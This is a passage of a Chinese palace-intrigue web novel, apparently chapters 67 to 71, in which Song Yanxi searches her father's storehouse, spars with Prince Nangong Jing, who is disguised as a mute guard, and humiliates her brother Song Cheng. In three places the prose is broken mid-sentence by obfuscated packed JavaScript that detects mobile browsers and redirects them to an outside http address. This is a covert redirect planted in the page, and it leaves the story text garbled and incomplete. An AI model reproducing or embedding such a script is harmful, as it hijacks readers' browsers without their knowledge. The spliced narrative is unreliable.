“大夫,怎么样了?彩儿到底中了什么毒?” “二姑娘这毒,不简单啊。夫人能否屏退左右?这么多人围着,不利于二小姐养病。” 一个白胡子大夫捋着胡子,低声和姜淑萍讲着什么。 随后,他们就一前一后走出了屋子。 当屋内只剩下两个人的时候,紫翎附身在床板上拍了一下。 很快,床底下钻出一个人。 其容貌,竟是和宋颜夕一模一样。 与此同时,床上处于“昏迷”状态的宋颜夕倏地睁开眼。 “都准备好了吗?” 紫翎点点头,将一个盒子递到宋颜夕手上。 打开一看,里面赫然躺着一张**。 当白栀跨进房门的时候,宋颜夕已经从窗户的另一边翻了出去。 离开梧桐苑之后,她直奔库房而去。 她在必经之路蹲守了一会儿,就看到府上的小厮抬着大大小小的木箱子从远处走来。 “这安远侯府就是大气啊,这么重的箱子,也不知装着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋章的话音落下,南宫景立刻收回眼神。在他的带领下,南宫景将手中一个锦盒放到其中一个木架上。 “承蒙殿下厚爱,竟还为小女准备了新婚贺礼。他日,下官一定亲自到王府道谢。” “宋相不必客气,这礼物啊,本王也是替大长公主送的。公主十分感谢宋二姑娘在百花宴上的相救之恩,这不,非得让本王将此玉佩完好无损地交到二姑娘手上。既然宋二姑娘今日不便见客,本王自然要亲手将它送进库房才能向阿姊复命。” 躲在楼上的宋颜夕冷笑一声,这死贱男还真是会找借口。 别以为她不知道,这家伙醉翁之意不在酒。 果然,南宫景很快就指了指楼上:“宋相这库房可真是宽敞,竟还别有洞天呢。” “这楼上堆着的都是下官早年读过的书,府上杂物太多,让殿下见笑了。” “原来如此,宋相不愧是我东越的栋梁之材,学富五车,非我等所能及啊。既是藏书之所,宋相可要派人瞧仔细了,免得那胆大的硕鼠偷溜进来,将书籍啃食殆尽。” “哈哈哈,殿下可真是爱说笑。下官两袖空空,怕是那硕鼠从我家门前经过都要绕道走的。” 听着他们二人有说有笑地离开,宋颜夕这才松了一口气。 很快,她就反应过来南宫景刚刚那句话的意思。 【死贱男,竟敢骂本帝是硕鼠!】 她很确定,从进门的那一刻开始,南宫景就知道二楼藏了人。 这男人,耳朵怎的如此灵敏。 担心宋章真的派人来查库,宋颜夕不敢停留,用最快的速度将二楼的箱子翻遍之后,便从原路跳了出去。 刚站定,脑袋上忽然投下一道阴影。 抬头一看,却见南宫景就站在墙角盯着她。 “宋二姑娘,你的动作倒是比本王想象中还要更快一些。” 宋颜夕暗骂一声,脸上却露出怯意:“殿下怎么会在这儿?我父亲他......” “放心,宋相不知此事。” 南宫景朝她勾了勾手。 宋颜夕只能硬着头皮走到他身边。 走近之后才发现,那个守门的小厮不知为何竟像是木头人一样立在门口。 虽看起来没什么不对劲,但宋颜夕知道,南宫景敢光明正大地在这儿堵她,肯定留了后手。 或许,他是用特殊手法封闭了那小厮的五感。 “可有发什么发现?” 宋颜夕摇头:“库房里没有殿下要找的东西。” “你确定,没有遗漏?” “面上的我都找过了,除非有暗格。” 时间仓促,她的确没时间找机关。 若真是那样的宝贝,宋章没准还真的会将它藏在密室暗格里。 若是这样的话,那难度可就大了。 这相府这么大,谁知道宋章会把东西藏在哪里。 “没这么麻烦,宋章根本不知道那盒子的秘密。” “这怎么可能?” 这一点,宋颜夕是没有想到的,他还以为宋章之所以拍下那盒子,是因为他早就知道那盒子里藏着黑铁矿的线索呢。 “听宋二姑娘的语气,你是知道那盒子里装着什么?” 宋颜夕暗道不好。 黑铁矿的秘密是“何二哥”告诉她的,在南宫景这儿,她只是个听命行事的傀儡罢了。 绝对不能让南宫景知道她已经知晓了黑铁矿的事。 更不能让他发现她也在打这批黑铁矿的主意。 想到这儿,宋颜夕小心翼翼地看向南宫景:“能让殿下如此费心,那盒子定然是极为重要的东西。臣女也很好奇,那里头到底装着什么宝贝呢。” 南宫景倒是不再追问,只是意味深长地说了一句:“宋二姑娘可听说过一句话,知道得越多,死得越快。” 宋颜夕立刻低垂脑袋:“是臣女逾矩了。” “走吧。” 南宫景抬腿往前走,宋颜夕赶紧转身朝另一个方向快步走去。 然而她才刚走了两步,命运的后脖颈就被抓住了。 “往哪儿走呢?” 听着南宫景没什么温度的声音,宋颜夕只觉得头皮一阵发麻。 “臣女出来很久了,得快些回去。” “不是找了替身吗?放心,就宋府的那些货色,根本瞧不出床上躺着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15228044|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个是假货。” 宋颜夕大惊,替身的事,只有她和紫翎知道。 这个男人到底是怎么知晓此事的? 难道,是那个替身出了问题? 宋颜夕还没想明白,就已经被南宫景拎着往回走。 “王爷到底要带臣女去哪儿啊?” “宴客厅” 南宫景这才将她放了下来,指了指某个方向说道:“你父亲倒是好客,竟然留本王在此用膳,你说,本王怎么好意思拒绝呢?” 宋颜夕翻了个白眼。 她可不信宋章会真的留这杀神在府上。 保不齐,就是宋章假意客气,而眼前这男人半点不客气。 “你让我和你一起去宴客厅?不行啊,若是我父亲认出我来......” “不如咱们打个赌,你的好父亲能不能认出你这个‘乖女儿’呢?” 事实证明,南宫景是对的。 宋章不仅没认出她,还让她好好伺候南宫景。 宴客厅的人并不多,除了宋章、南宫景、安远侯三人之外,便只有她那两位叔父了。 作为被南宫景临时拉来的随侍小厮,宋颜夕规规矩矩地站在一旁,听那几个男人讲着一些没有营养的客套话,她只觉得眼前有一千只苍蝇飞来飞去。 就在她昏昏欲睡的时候,忽然听到南宫景提到她的名字。 “宋二姑娘从小养在乡下,性子难免张扬了些,但这孩子心性不坏,日**了侯府,侯爷可要多担待。” 此话一出,别说是宋颜夕,就连宋章和安远侯都是一脸惊讶。 南宫景这话,怎么自带家长属性呢? 宋颜夕的眉毛忍不住挑了挑,她那个名义上的父亲的都还没说什么,这男人到底在操哪门子心? “你们怎么都这副表情?” 南宫景将筷子放在桌上,语不惊人死不休。 “本王难道没告诉你们吗?大长公主有意收宋二姑娘为干女儿,按照辈分,二姑娘还得称本王一声小舅舅。” 天杀的小舅舅! 听了这句话,宋颜夕手中的酒壶“啪嗒”一声落在地上。 刹那间,所有人都朝她看了过来。 第67章:他的闯入 宋章呵斥:“连酒壶都拿不稳?你到底是哪房的小厮?还不快收拾干净,自己滚下去领罚!” 宋颜夕捡起酒壶,躬身退了出去。 微凉的风吹在脸上,她才算清醒了一些。 这消息简直太炸裂了。 大长公主好端端的,收她做干女儿做什么呢? 难道就因为她在百花宴上替大长公主挡了灾? 就算真是这样,再赏赐她一番不就是了?何必弄认亲这么一出? 不寻常,太不寻常了。 虽然还不知道大长公主此举到底是什么意思,但直觉告诉宋颜夕,这背后一定有更大的阴谋。 【难道,是想利用我牵制宋章?以离间他和楚王?】 就算她当时远在西菱,也知道楚王和南宫景是政敌。 若不是南宫景和大长公主全力扶持,如今坐在龙椅上的,或许就是楚王。 宋章和楚王交好,而南宫景却在此时对宋章抛出橄榄枝,这不得不让人怀疑他的动机。 此事若只有屋内那几个人知道也就罢了,但大长公主认亲,必然公告天下。 到时,她这假冒的相府千金只怕是还没弄到黑铁矿就被楚王的人暗杀了。 “不行,这亲绝对不能认。” 打定主意之后,宋颜夕几乎是一路小跑着回到梧桐苑。 回去之后才发现,院子里多了一个人。 这人她记得,是南宫景府上的丫鬟,名唤白栀。 看到她的时候,紫翎一直冲她眨眼睛。 到了此时,宋颜夕终于明白南宫景那厮到底是怎么知道替身的事的。 “二姑娘体内的毒素已清,我这便回去向王爷复命了。” 她虽是对着紫翎说的,离开的时候,却朝她的方向福了福身。 确保她确实离开之后,紫翎赶紧将门窗紧闭。 宋颜夕掏出银针在床上那人的身上扎了几下,那替身便悠悠转醒。 “姑娘......” 紫翎想说什么,宋颜夕却朝她摆了摆手:“我知道你的意思,你先把她带出府,剩下的,晚些再说。” 等到屋内只剩她自己,宋颜夕终于在床上打了个滚: “啊,南宫景,你个死贱男,等本帝重掌兵权,第一个饶不了你。” 她要是到了此时还想不明白,上辈子就白活了。 南宫景来这一趟根本就是在敲打她,让她别生出别的心思。 否则,就算是他不动手,有的是人能要了她的命。 发泄完之后,她很快就有了主意。 那死贱男想利用她找到黑铁矿,她就偏要在他眼皮子底下盗走这些宝贝。 “本帝倒是要看看,到手的鸭子飞了,你会是怎样的气急败坏。” 那死贱男最看中什么来着? 哦,像他们这种身居高位的人,最是看中面子了。 等她重登帝位,第一件事就是要把曾经欺负过她的人狠狠按在地上摩擦。 宋颜夕脑中闪过南宫景在她脚下跪地求饶吧的场景,忍不住笑出声来。 “笑得这么开心,看来,宋二姑娘的病是大好了。” 冷不丁听到南宫景的声音,宋颜夕差点儿没从床上摔下来。 随着开门声响起,就见到宋章领着南宫景走了进来。 此时,宋颜夕手里抱着枕头,因为笑得太卖力,眼角还挂着一片晶莹。 房门被推开的那一刻,她明显看到了宋章眼底闪过的愠怒之色。 “父亲,战王殿下,你们怎么来了?” 宋颜夕几乎是从床上跳下来的,因为太过用力,还崴了一下。 南宫景脚步微移,瞬间将她歪歪扭扭的身子扶正,用仅有两个人能听见的声音在她耳边说了一句:“这么开心,可是因为马上就要成为本王的外甥女?” 去你的狗屁外甥女! 宋颜夕在心里暗骂一声,转头一脸羞涩地看向宋章:“让王爷和爹爹见笑了,女儿是想着不久之后就能嫁给世子爷,心中开心,便失了分寸。” 宋章轻咳一声,从南宫景手中将宋颜夕扶了过去:“****躁躁成何体统,还不快谢过战王殿下。若非王府的医女,你现在还在床上躺着呢。” “原来是王府的医女救了臣女,臣女谢过殿下。” 南宫景倒是大方地摆了摆手:“都是一家人,不必客气。” “一家人?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15228045|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋颜夕假装疑惑:“殿下这是何意?” 南宫景还没开口,宋章就解释:“大长公主有意收你做干女儿,日后,你可要谨言慎行,莫要丢了公主府的脸面。” “女儿才疏学浅,怕是承不了这福泽。爹爹能否替女儿回了大长公主?在女儿看来,无论是才学还是相貌,大姐姐都比女儿更适合当公主的女儿。” “怎么,宋二姑娘是看不上公主府?还是你觉得,本王这小舅舅,辱没了宋二姑娘?” “放肆!” 宋章原本想扇宋颜夕一巴掌,宋颜夕却佯装脚疼,身子一歪躲了过去。 宋章一手打空,尴尬地收回手:“能得大长公主青睐是你几世修来的福分。你且好生养着,五日后,我会让你母亲带你去公主府拜谢。” 说完这句话,他又转身对南宫景低声说了几句。 无非就是说她不懂礼数,言语冲撞,请南宫景别怪罪之类的。 南宫景倒是好说话,说了句“不知者不怪”之后便离开了。 在他们离开之后没多久,紫翎也回来了。 宋颜夕朝她招了招手:“留给咱们的时间不多了,咱们必须尽快找到那个盒子。这几日你也多留意,看看府中除了库房之外还有什么藏宝贝的东西。我会想办法混进宋章的书房和卧房找找。” 这个时候,她忽然想起一个人。 那位深谙机关术的小齐公子。 若是能得到他的帮助,定会事半功倍。 想到这儿,她做了一个决定。 “这几日我要出府一趟,你这样......” 宋颜夕在紫翎耳边低语几句,紫翎便领着任务离开了。 正当宋颜夕撑着脑袋思考接下来的行动方向时,房门忽然被一股巨大的力量撞开。 宋颜夕抬头一看,正好看到宋诚怒气冲冲地从门口走了进来。 “原来是二哥啊,这么晚闯进我的闺房,不太妥当吧。” 宋颜夕的目光中带着一些冷光,对于毁坏她财物的人,她向来没有好脸色。 “你这扫把星,刚回来就把家里弄得一团乱。给我滚出去!” 宋诚脸色阴沉,不由分说拉着宋颜夕就往外走。 第68章:糟糕,要被抓包了 “松手!否则,就别怪我不客气了。” 宋颜夕脸色一沉,对宋诚发出最后的警告。 然而宋诚根本就不理会她,甚至还加大了手上的力道。 宋颜夕也不跟他客气,反手就从腰间抽出三枚银针,毫不犹豫地刺进了宋诚的手臂上。 “你,到底对我做了什么?” 银针入体的那一刻,宋诚只觉得右手酥酥麻麻的,很快,他便一点力气都使不上来了。 他几乎是被动松开了手。 而宋颜夕呢,在得了自由之后,二话不说一脚将他踹倒在地。 “宋彩衣,你竟敢踢我!!” “踢你怎么了?我告诉你宋诚,我是看在父亲和母亲的面子上才叫你一声二哥,要是再找我麻烦,信不信我让你永远站不起来。” “你!” 宋诚将左手撑在地上,好不容易才站起来。 才刚刚站稳,他就抬起左手朝宋颜夕脸上打来:“就凭你这被扫地出门的扫把星,竟也敢在我面前大言不惭!” 然而宋颜夕却只是轻松地转身就躲过了他那一巴掌。 转身的时候,她直接拔下宋诚右手臂上的银针,转而刺进了他的脖子。 这一下,他是真的半点都动弹不得。 “看来,宋公子是听不懂人话啊,既然如此,这耳朵也不必要了。” 宋颜夕是个行动派,话音刚落,她就拿起桌上切水果的短刀朝宋诚脑袋上砍去。 “宋彩衣,你敢动我一下试试!” “这可是你说的。” 当短刀划破肌肤时,宋诚终于缴械投降:“好,是我错了。” 宋颜夕停下手上的动作:“错哪儿了?” “我,不该踹你的门。” “还有呢?” “不该骂你扫把星。” “还有呢?” “还有......” 宋诚皱着眉想了半天,终于憋出几个字:“不该拿鞭子抽你。” 宋颜夕这才将短刀收起来:“看在你认错态度诚恳的份上,本姑娘暂且饶了你这一回。” 她将宋诚脖子上的银针取下,又在他身上的几个穴道按了几下。 宋诚这才感觉到自己的身体恢复了一点知觉。 只是右手却始终使不上力气。 他还没开口,宋颜夕就抢先一步说道:“别这么看着我,要是都给你解了,你转头就要了我的命,我找谁说理去?” 宋诚咬牙:“我保证,不会再对你动手。” “我不信你。” 宋颜夕直接将他推出屋外:“还有啊,这踢坏的门,你可得照价赔偿。我算算啊,看在我还得叫你一声二哥的份上,给你抹个零头,便给我纹银三百两吧。” “一扇破门就想讹我三百两,你怎么不去抢劫?” 宋颜夕笑眯眯地看着她:“二哥你这话就说得不对了,我好歹也是相府千金,怎么能干拦道抢劫那种犯法的事呢。天色不早了,二哥请回吧。哦对了,你若是耍赖,这手臂怕是永远都好不了了哦。” “算你狠!” 他伸出手在怀里掏了掏,也只掏出一张五十两的银票。 将五十两银票塞到宋颜夕手中之后,宋诚就黑着脸离开了梧桐苑。 宋颜夕喜滋滋地把银票塞进怀里,连夜唤丫鬟给她换了门。 梧桐苑外,躲在暗处的宋娇娇看着宋诚怒气冲冲地离开,眼中闪过一道不怀好意的笑。 “宋彩衣啊宋彩衣,惹怒了二哥,我看你还怎么在相府混下去。” 她不知道的是,宋彩衣揣着银票,做了个美滋滋的梦。 梦里,她成功夺回帝位,将巫黛扒皮抽筋。 当她回到寝宫的时候,忽然被一道清冷孤傲的身影堵在墙角。 “夫人这是登上帝位就忘了为夫了吗?” 男人一边说,一边用带着老茧的指腹揉捏着她的脸颊。 宋颜夕想要推开他,却怎么都使不上力。 眼看那男人就要解开她的衣带,肩膀忽然一沉。 “姑娘醒醒,该出府了。” 睁眼一看,却见紫翎半蹲在床前轻轻摇晃着她的肩膀。 此时的紫翎已经撕了“小怜”的人皮面具,呈现在宋颜夕面前的,是她的本来面目。 大概是猜测到她的想法,紫翎低声解释了一句:“三房灭口。” 宋颜夕瞬间了然,她并没有询问紫翎是如何躲避“灭口”,又是如何以本来面目混入梧桐苑的。 作为她的贴身侍卫,若是连这点本事都没有,在西菱的那些年就白混了。 还是按照老办法,那个“替身”在梧桐苑假扮她,而她呢子光明正大地跟着采买的丫鬟从小门离开了相府。 离开相府之后,宋颜夕戴了一顶白色帷帽,一路往城南而去。 果然,在一个不起眼的地方,有一座祥云客栈。 “这客栈如此偏僻,怎么会有生意呢?” 宋颜夕提着红灯笼走进去,果然看到里面冷冷清清。 除了一个在打盹的掌柜和一个低头擦桌子的店小二,没有第二个人。 “哟,姑娘,打尖儿还是住店呀?” 店小二是个机灵的,见宋颜夕进门,立刻将手中的抹布往肩膀上一挂,乐呵呵朝她快步走了过来。 宋颜夕抬起手中的灯笼:“都不是。想借你们的地方挂个东西。” 见了那红灯笼,店小二的眼神微微一变。 他立刻在前台桌面上敲了敲,掌柜身子一晃,睁眼的时候,一双眸子清澈异常。 显然,他方才的打盹都是装的。 灯笼挂出后,宋颜夕找了个靠窗的位置坐了下来。 除了最开始的惊讶之外,店小二和掌柜又恢复了她刚进入客栈时的模样。 不过,他们倒是很有眼力地给送颜夕端上一些茶点。 大概等了半个时辰,宋颜夕才在街道的另一头看到一道熟悉的身影。 今天的“何二哥”穿着一身黑色束腰长袍,一头青丝全部用一个素色发冠盘在头顶,让他本就挺拔的身姿看起来又高挑不少。 当他从客栈门口走进来的时候,方才还十分慵懒的客栈二人组瞬间站得笔直。 南宫景朝他们比了个手势,熟门熟路地上了二楼。 “这么急着找我,可是有什么好消息?” 他朝宋颜夕勾了勾手,示意她走到另外一张远离窗户的桌子旁坐下。 “这么谨慎,看来,何二哥最近的生意做得很大啊。” 宋颜夕没有明说,但南宫景还是听出了她话里的意思。 他勾了勾嘴角:“这你可就冤枉我了。我这么做,可都是为了宋姑娘你。” 话音刚落,宋颜夕的耳边就响起另外一道令人讨厌的声音。 “就是这里,她一定躲在二楼。” 第69章:对峙 宋颜夕沉了沉眸子。 这声音,不就是宋诚那个莽夫吗? 听他话里的意思,是在找什么人?可这客栈里他们俩也没别的客人了。 莫非,他认出她了? 趁着宋诚被那店小二拦住,宋颜夕拉了拉帷帽,低声说了一句:“此地不宜久留,咱们赶紧走。” 南宫景不慌不忙:“人马上就要上来了,出口就只有一个,你要往哪里逃?” “跳窗啊。” 宋颜夕直接拉着南宫景走到窗边:“你不是功夫很高吗?从二楼跳下去而已,不是难事吧。” “我倒是可以跳,但是宋姑娘你......” 宋颜夕根本就不等他说完,直接跳到他背上,双手箍住她的脖子:“赶紧的,大男人怎么如此婆婆妈妈。” 南宫景:...... 果然啊 哪怕是成了相府千金,这女人仍然没有一点男女之防。 听着楼梯上传来沉重的脚步声,南宫景不再犹豫,足尖一点从窗户上跳了下去。 当宋诚赶到二楼的时候,只看到一杯凉了的茶以及一盘未吃完的茶点。 “楼上的人呢?” 宋诚用左手抓住店小二的衣领。 店小二却露出一个比哭还难看的表情:“我也想知道她去哪儿了啊。” 说完,他一把推开宋诚,哭喊着下了楼:“哎呀掌柜的不好了,咱们遇上吃霸王餐的了。她肯定是跳窗跑了啊。” 宋诚跑到窗户上一看,楼下除了几个零星行人,根本没有宋颜夕的身影。 “宋彩衣,你最好别让我抓住小辫子。” 宋诚下意识将右手重重拍在栏杆上,然而很快,他的脸就变成了猪肝色。 他忘记,右手不能使力了。 另一边,宋颜夕拉着南宫景一路狂奔,一直到跑到河边的柳树下才停下脚步。 “这宋诚,眼神未免也太好了吧?我都包成这样了他还能认出我来?” 宋颜夕拉开帷帽上的纱布,朝身后看了好几眼,确定宋诚没跟上来,靠在树干上喘着粗气。 果然,这身子是从小没养好伤了根基,哪怕她已经尽全力调理了,还是无法恢复前世的十分之一。 “你就那么怕他?” 看着宋颜夕的样子,南宫景不免觉得好笑。 宋颜夕提高音量:“我会怕他?本姑娘昨天才废了他一只手好吗?” 不过,她不怕宋诚是一回事,被他逮到错处又是另外一回事。 若是被宋诚看到她和陌生男人单独约在客栈见面,宋章那边肯定没法交代。 若是宋章因此禁了她的足,她就更别想找到那批黑铁矿了。 想到黑铁矿,宋颜夕立刻来了精神。 她拍了拍南宫景的肩膀:“差点忘了正事,今天找你来是想请你帮个忙。” “跟那件事有关?” 宋颜夕点头:“没错。” 她将前几日潜入库房的事与他说了,末了,又加了一句:“范围太大了不好找,何二哥若是方便,能否替我联系小齐公子。” “你找他做什么?” 话一出口,他似乎想到什么:“你是怀疑,相府有密室?” “没错。在这方面,小齐公子是专业的。” “怕是不行。” 南宫景摇了摇头:“小齐并不在上京城,你知道的,咱们那日分开之后,他就带着吕秀秀疗伤去了。” “就没有别的办法联系他吗?” 直觉告诉她,这两个人之间肯定有她不知道的关系。 南宫景沉思片刻,道:“小齐公子是指望不上了,不如,你带我入相府,我来帮你。” “你?” 宋颜夕上下打量着他:“你也有一个擅长机关术的师父?” “这个倒是没有。” 南宫景指了指自己的脑袋:“不过,我这脑子可不比小齐差。” 然后,又在宋颜夕眼前握了握拳头,“关键时刻,还能给你当打手。” “你让我想想。” 宋颜夕斟酌片刻就有了主意。 “大长公主有意收我为干女儿,而且,宋诚肯定会再找我麻烦的。到时候,我便以此为由让我那个丞相爹爹替我找几个能打的护卫。到时候你就这样......” 宋颜夕在南宫景耳边说了几个字。 南宫景不满地蹙眉:“你让本......公子打扮成丑陋的哑奴?” “你还委屈上了?我可是为你好。就你那张脸,要是真进了相府,指不定能给我惹出多大的祸呢。” 抗议无效,南宫景最终还是妥协了。 上京城不比郦阳城,他的确是不能以本来面目混入相府。 …… 果然入宋颜夕所猜测的那样,她才回府没多久,宋诚就再次闯进了她的院子。 当他怒气冲冲地从床上将宋颜夕拖下来的时候,眼中闪过不可置信之色。 这女人怎么这么快就回来了? “不对,你肯定是戴了人皮面具。” 他伸手朝宋颜夕的脸上抓去,宋颜夕却颤抖着缩在角落里,整个人瞧着跟惊弓之鸟似的。 还没等宋诚碰到她的脸,宋章和姜淑萍就从门口跨了进来。 “逆子,你在干什么!” 宋章进门的时候,就看到屋内一片凌乱,被褥半挂在床榻上,而本该在床榻上休养的宋颜夕却穿着中衣缩在墙角。 而他那不孝子宋诚竟然伸手朝宋颜夕的身体抓去。 那个方向,可是女子的私密部位。 几乎是不假思索,宋章直接一脚踹在宋诚的小腿肚子上。 “爹,你干嘛踢我?” 宋诚呆愣了片刻,然后,直接从地上爬起来抓住宋章的手臂,指着宋颜夕的方向,道:“爹,她是假的。” “什么假的?诚儿你定是在外面喝酒了,都开始说胡话了。” 姜淑萍走到宋诚旁边,一边说一边朝他使眼色。 然而宋诚根本就没看懂她的暗示,自顾自说道:“我在街上分明看到宋彩衣了,她怎么可能这么快就回来?这个人肯定是假的。” “爹爹,我不知道二哥为何对我有这么大的偏见。女儿一直在府中从未离开,这一点,我院中的嬷嬷和丫鬟都是可以作证的。” 话音刚落,何花、紫翎以及其他几个丫鬟齐齐点头:“奴婢可以作证,二姑娘今日一直在房中休息。” “你院中之人,自然都是替你说话。” 宋诚冷哼一声:“你该不会以为,我会在没有证据的情况下就来拆穿你的鬼把戏吧?正巧,我这儿也有几个证人。” 他拍了拍手,门外立刻出现了一个人。 看到那人的时候,宋颜夕眼中闪过一道暗芒。 怎么是他? 第70章:阿贵与阿呆 宋诚口中所谓的证人不是别人,正是祥云客栈的店小二。 “你且说说,你们店今日是否来了个女客?” 店小二点头答道:“正如宋公子所说,确实是有这么一个客人。那客人吃饭不给钱,害得我被我们掌柜的罚了月俸。” 说起这个,店小二握紧拳头,一副义愤填膺的模样。 宋诚勾起嘴角:“若是让你再见到那人,你可能认得出来?” “这是自然,干我们这行的,最重要的就是眼力。但凡是来过一次的客人,小的都能记住他的特征。” “很好。” 宋诚一把将他拉到宋颜夕面前:“你看看,那吃霸王餐的女客是不是她?” 还没等到店小二的回答,何花以及一干丫鬟就齐齐挡在宋颜夕面前。 几个人拼成一堵人墙,将宋颜夕遮挡得密不透风。 “你们这些不长眼的狗奴才还不赶紧闪开!” 宋诚的话还没说完,脸上就挨了结结实实的一巴掌:“不长眼的是你这逆子!” “爹你打我干什么?” 姜淑萍再也忍不住,直接扭着宋诚的耳朵将他揪到门外:“我说你这榆木脑袋到底是怎么长的,你二妹妹怎么说也是个女儿家,如今衣衫不整,如何能被外男瞧了去?” “我都说了,她是假的。” “就算你说的是真的,也得等她换好衣裳之后再让那店小二指认。你给我好好站在这儿,要是再敢踏进彩儿的房间一步,别说是你爹了,我第一个饶不了你。” 有了姜淑萍这句话,宋诚总算是暂时安静下来。 很快,那店小二也被宋章一脚踹了出来。 当宋颜夕穿戴整齐从屋子里出来的时候,宋诚明显看到她眼角的红晕。 “这时候哭,来不及了。” 他再次将店小二推到宋颜夕面前:“你可瞧仔细了,她是不是你口中那个吃霸王餐的女客?” 店小二仔细打量着宋彦夕,然后,坚定地摇了摇头:“虽然她当时戴着帷帽,但我可以很定,不是她。” “你说什么?” 宋诚一把抓住店小二,说话的时候,唾液都要喷到他脸上:“你都说她戴着帷帽,怎么能如此笃定那人就不是她?说,你们是不是串通好了?” “二公子,这您可就冤枉小的了。虽然那女客戴着帷帽,但身高定是假不了的啊,小的记得,那女客比眼前这位姑娘要矮上几寸,哦对了,还要再丰腴几分。” 听着那店小二一本正经地胡诌,宋颜夕暗自偷笑。 这下,宋诚可是踢到铁板了。 然而宋诚并未因此放弃,他将那小二推了出去,抬腿就往宋颜夕身边走来。 “我倒是忘了,眼前这个可是假货。” 然而当他的手终于捏到宋颜夕的脸,他脸上的表情就再也绷不住了。 “怎么会这样,你人皮面具呢?” 他不死心地在宋颜夕脸上捏了好几下,直到把宋颜夕的脸捏出一道红印子,才在宋章的怒喝声中后退了好几步。 “混帐东西,还不快滚出去。还要在这儿丢人现眼到什么时候?” 宋诚离开梧桐苑的时候,依稀听到身后传来宋颜夕的啜泣声。 回头一看,就见姜淑萍围在宋颜夕身边,低声安慰着。 他握紧拳头,加快脚上的动作。 “娇娇说得没错,母亲的心果真是偏到那扫把星身上了。不行,我必须为婉儿讨个公道。” 有了宋诚这一出,宋颜夕顺水推舟提出要给梧桐苑加强护卫的事。 宋章原本是不同意的,但一想到婚礼在即,又怕宋诚再闹出什么幺蛾子,便让姜淑萍着手安排了。 第三天,姜淑萍就领着两个精壮的男子进了梧桐苑。 当宋颜夕看到乔装打扮的南宫景时,差点儿一口水喷出老远。 【大哥,我让你扮丑,可不是让你扮鬼啊】 此时的南宫景哪里还有平日的俊俏模样,整张脸黑得跟炭头似的,右脸上斜挂着一道丑陋的疤痕,左脸上还有一块长了毛的黑痣。 若只是如此也就罢了,偏生他忘了给牙齿化妆。 当他冲着宋颜夕笑的时候,流出洁白的八颗牙齿。 姜淑萍领着他们进来的时候,正好是黄昏时分,冬日的天本就黑得早,远远一看,宋颜夕就只看到两排大白牙在暮色下晃动。 大概是瞧出宋颜夕眼中的嫌弃之色,南宫景瞬间抿起了嘴。 如此一来,倒是瞧着顺眼不少。 “彩儿啊,这两位便是母亲为你精心挑选的护卫了。你别看他们其貌不扬,本事可大着呢。以后有他们保护你,我与你父亲便也放心了。” 这时,宋颜夕才注意到另外一人。 这人虽然长得平平无奇,但与南宫景一比,倒是显得眉清目秀。 宋颜夕朝姜淑萍福了福身:“彩儿多谢母亲。” “你们两个,还不快见过二姑娘。” 首先开口的是那个平平无奇却眉清目秀的男人。 “小的阿贵,见过二姑娘。” 宋颜夕点点头,随即将目光转到南宫景身上。 见南宫景胡乱比划着什么,姜淑萍笑着说了一句:“倒是忘了告诉你,这人是个哑巴,不会说话的。不过你放心,母亲已经调查过了,他啊,身家清白,是个老实人。既是你的人了,不如,就由彩儿替他们重新取个名字吧。” 取名这事儿,宋颜夕可没什么兴趣。 他指了指阿贵:“你便还是叫原来的名字吧,至于你嘛。” 宋颜夕绕着南宫景走了一圈,上下打量着他:“呆头呆脑,一看就不聪明,往后,你就叫阿呆吧。” 将人送来之后,姜淑萍便离开了。 宋颜夕朝何花招了招手:“劳烦何嬷嬷教他们规矩了。” 何花领着两人下去,宋颜夕这才忍不住笑出声来。 端着糕点走过来的紫翎见此,面露疑惑:“姑娘可是遇见什么开心的事了?” “开心的事儿没有,不过啊,丑八怪倒是见着一个。” 紫翎不明白见着丑八怪有什么好开心的,不过见宋颜夕笑得张扬,她也忍不住勾起嘴角。 正在此时,却见一个小丫鬟匆匆忙忙从院子里跑了进来。 “姑娘,相爷让您马上去前厅一趟。” “这么着急?可知是什么事?” 小丫鬟摇了摇头,宋颜夕和紫翎交换一个眼神,同时抬起步子朝院子外走去。 刚走到前厅,就听见里头传来宋章的咆哮声。 宋颜夕停下脚步,她不好奇到底是谁把宋章惹怒了? 她好奇的是,宋章在暴怒之下,为何指明要见她? 莫非,又有人在背地里给她挖坑了? 第71章:宋娇娇被罚 “彩儿啊,你可算是来了。快跟你爹爹说说,我们家娇娇没有对你下毒。” 宋颜夕还没来得及跨过门槛,三婶刘云香就已经一个箭步冲了过来。 她下意识想要将人拍打出去,却还是忍住了。 “三婶在说什么?什么下毒?” 见她一脸迷茫的样子,刘云香赶紧对坐在上首的宋章说道:“大哥你看,彩儿根本就不知道这件事。我们娇娇真的是被冤枉的。” “证据确凿,还敢说冤枉?” 宋章直接将一封信甩在地上,宋颜夕捡起来扫了几眼,很快就明白事情的原委。 竟然是“小怜”的认罪书。 上面清清楚楚地写着宋娇娇如何指使小怜在她衣服上下药,以及,宋娇娇承诺事成之后给小怜五十两的报酬。 